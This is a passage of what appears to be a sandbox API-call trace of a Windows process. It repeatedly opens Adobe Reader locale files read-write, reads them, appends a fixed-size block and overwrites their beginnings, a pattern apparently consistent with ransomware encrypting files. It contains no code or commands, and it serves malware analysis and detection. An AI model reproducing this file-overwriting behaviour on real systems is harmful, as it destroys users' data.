lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0039.782] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.782] ReleaseMutex (hMutex=0x128) returned 1 [0039.782] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.PTB", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0039.782] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.PTB", cchWideChar=12, lpMultiByteStr=0x1e6342c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RdLang32.PTB", lpUsedDefaultChar=0x0) returned 12 [0039.782] ReadFile (in: hFile=0x1a8, lpBuffer=0x27bfb38, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesRead=0x340f278*=0xf000, lpOverlapped=0x0) returned 1 [0039.784] ReadFile (in: hFile=0x1a8, lpBuffer=0x27bfb38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.784] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x14f600 [0039.784] ReadFile (in: hFile=0x1a8, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.786] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x14f600 [0039.786] WriteFile (in: hFile=0x1a8, lpBuffer=0x2512ca8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x2512ca8*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.786] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0039.786] WriteFile (in: hFile=0x1a8, lpBuffer=0x27e6c98*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesWritten=0x340f28c*=0xf000, lpOverlapped=0x0) returned 1 [0039.787] WriteFile (in: hFile=0x1a8, lpBuffer=0x27e6c98*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesWritten=0x340f28c*=0x1000, lpOverlapped=0x0) returned 1 [0039.787] CloseHandle (hObject=0x1a8) returned 1 [0039.787] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\Weblink.PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\weblink.ptb"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0039.787] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0039.787] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x6e00 [0039.787] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0039.787] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.787] ReleaseMutex (hMutex=0x128) returned 1 [0039.787] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.PTB", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0039.787] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.PTB", cchWideChar=11, lpMultiByteStr=0x1e6324c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Weblink.PTB", lpUsedDefaultChar=0x0) returned 11 [0039.787] ReadFile (in: hFile=0x1a8, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.789] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x5e00 [0039.789] ReadFile (in: hFile=0x1a8, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.789] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x5e00 [0039.789] WriteFile (in: hFile=0x1a8, lpBuffer=0x2512ca8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x2512ca8*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.790] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0039.790] WriteFile (in: hFile=0x1a8, lpBuffer=0x1d82048*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesWritten=0x340f28c*=0x1000, lpOverlapped=0x0) returned 1 [0039.790] CloseHandle (hObject=0x1a8) returned 1 [0039.790] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\EScript.RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\escript.rum"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0039.791] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0039.791] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0xa400 [0039.791] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0039.791] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.791] ReleaseMutex (hMutex=0x128) returned 1 [0039.791] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.RUM", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0039.791] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.RUM", cchWideChar=11, lpMultiByteStr=0x1e6342c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.RUM", lpUsedDefaultChar=0x0) returned 11 [0039.791] ReadFile (in: hFile=0x1a8, lpBuffer=0x2763ff8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesRead=0x340f278*=0x4000, lpOverlapped=0x0) returned 1 [0039.793] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x9400 [0039.793] ReadFile (in: hFile=0x1a8, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.793] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x9400 [0039.794] WriteFile (in: hFile=0x1a8, lpBuffer=0x2512ca8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x2512ca8*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.794] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0039.794] WriteFile (in: hFile=0x1a8, lpBuffer=0x2732c08*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesWritten=0x340f28c*=0x4000, lpOverlapped=0x0) returned 1 [0039.794] CloseHandle (hObject=0x1a8) returned 1 [0039.794] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\Search.RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\search.rum"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0039.794] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0039.794] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x6000 [0039.795] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0039.795] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.795] ReleaseMutex (hMutex=0x128) returned 1 [0039.795] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.RUM", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0039.795] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.RUM", cchWideChar=10, lpMultiByteStr=0x1e6322c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.RUM", lpUsedDefaultChar=0x0) returned 10 [0039.795] ReadFile (in: hFile=0x1a8, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.796] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x5000 [0039.796] ReadFile (in: hFile=0x1a8, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.797] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x5000 [0039.797] WriteFile (in: hFile=0x1a8, lpBuffer=0x2512ca8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x2512ca8*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.797] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0039.797] WriteFile (in: hFile=0x1a8, lpBuffer=0x1d82048*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesWritten=0x340f28c*=0x1000, lpOverlapped=0x0) returned 1 [0039.797] CloseHandle (hObject=0x1a8) returned 1 [0039.797] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\Annots.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\annots.rus"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0039.798] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0039.798] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x7c600 [0039.798] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0039.798] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.798] ReleaseMutex (hMutex=0x128) returned 1 [0039.798] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.RUS", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0039.798] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.RUS", cchWideChar=10, lpMultiByteStr=0x1e6342c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.RUS", lpUsedDefaultChar=0x0) returned 10 [0039.798] ReadFile (in: hFile=0x1a8, lpBuffer=0x1de4de8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1de4de8*, lpNumberOfBytesRead=0x340f278*=0x8000, lpOverlapped=0x0) returned 1 [0039.800] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x7b600 [0039.800] ReadFile (in: hFile=0x1a8, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.801] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x7b600 [0039.801] WriteFile (in: hFile=0x1a8, lpBuffer=0x2512ca8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x2512ca8*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.802] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0039.802] WriteFile (in: hFile=0x1a8, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x340f28c*=0x8000, lpOverlapped=0x0) returned 1 [0039.802] CloseHandle (hObject=0x1a8) returned 1 [0039.802] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\PDDom.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\pddom.rus"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0039.802] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0039.802] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x2e00 [0039.802] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0039.802] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.802] ReleaseMutex (hMutex=0x128) returned 1 [0039.802] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PDDom.RUS", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0039.803] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PDDom.RUS", cchWideChar=9, lpMultiByteStr=0x1e6322c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PDDom.RUS", lpUsedDefaultChar=0x0) returned 9 [0039.803] ReadFile (in: hFile=0x1a8, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.804] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x1e00 [0039.804] ReadFile (in: hFile=0x1a8, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.807] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x1e00 [0039.807] WriteFile (in: hFile=0x1a8, lpBuffer=0x2512ca8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x2512ca8*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.808] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0039.808] WriteFile (in: hFile=0x1a8, lpBuffer=0x1d82048*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesWritten=0x340f28c*=0x1000, lpOverlapped=0x0) returned 1 [0039.808] CloseHandle (hObject=0x1a8) returned 1 [0039.808] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\Spelling.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\spelling.rus"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0039.808] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0039.808] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x2800 [0039.808] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0039.808] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.808] ReleaseMutex (hMutex=0x128) returned 1 [0039.809] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.RUS", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0039.809] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.RUS", cchWideChar=12, lpMultiByteStr=0x1e6324c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.RUS", lpUsedDefaultChar=0x0) returned 12 [0039.809] ReadFile (in: hFile=0x1a8, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.811] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x1800 [0039.811] ReadFile (in: hFile=0x1a8, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.862] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x1800 [0039.862] WriteFile (in: hFile=0x1a8, lpBuffer=0x2512ca8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x2512ca8*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.862] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0039.862] WriteFile (in: hFile=0x1a8, lpBuffer=0x1d82048*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesWritten=0x340f28c*=0x1000, lpOverlapped=0x0) returned 1 [0039.863] CloseHandle (hObject=0x1a8) returned 1 [0039.863] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\DVA.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\dva.sky"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0039.863] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0039.863] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x4600 [0039.863] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0039.863] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.863] ReleaseMutex (hMutex=0x128) returned 1 [0039.863] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.SKY", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0039.863] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.SKY", cchWideChar=7, lpMultiByteStr=0x1e6aa2c, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.SKY", lpUsedDefaultChar=0x0) returned 7 [0039.863] ReadFile (in: hFile=0x1a8, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0040.362] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x3600 [0040.362] ReadFile (in: hFile=0x1a8, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0040.776] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x3600 [0040.776] WriteFile (in: hFile=0x1a8, lpBuffer=0x25c7e08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7e08*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0040.776] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 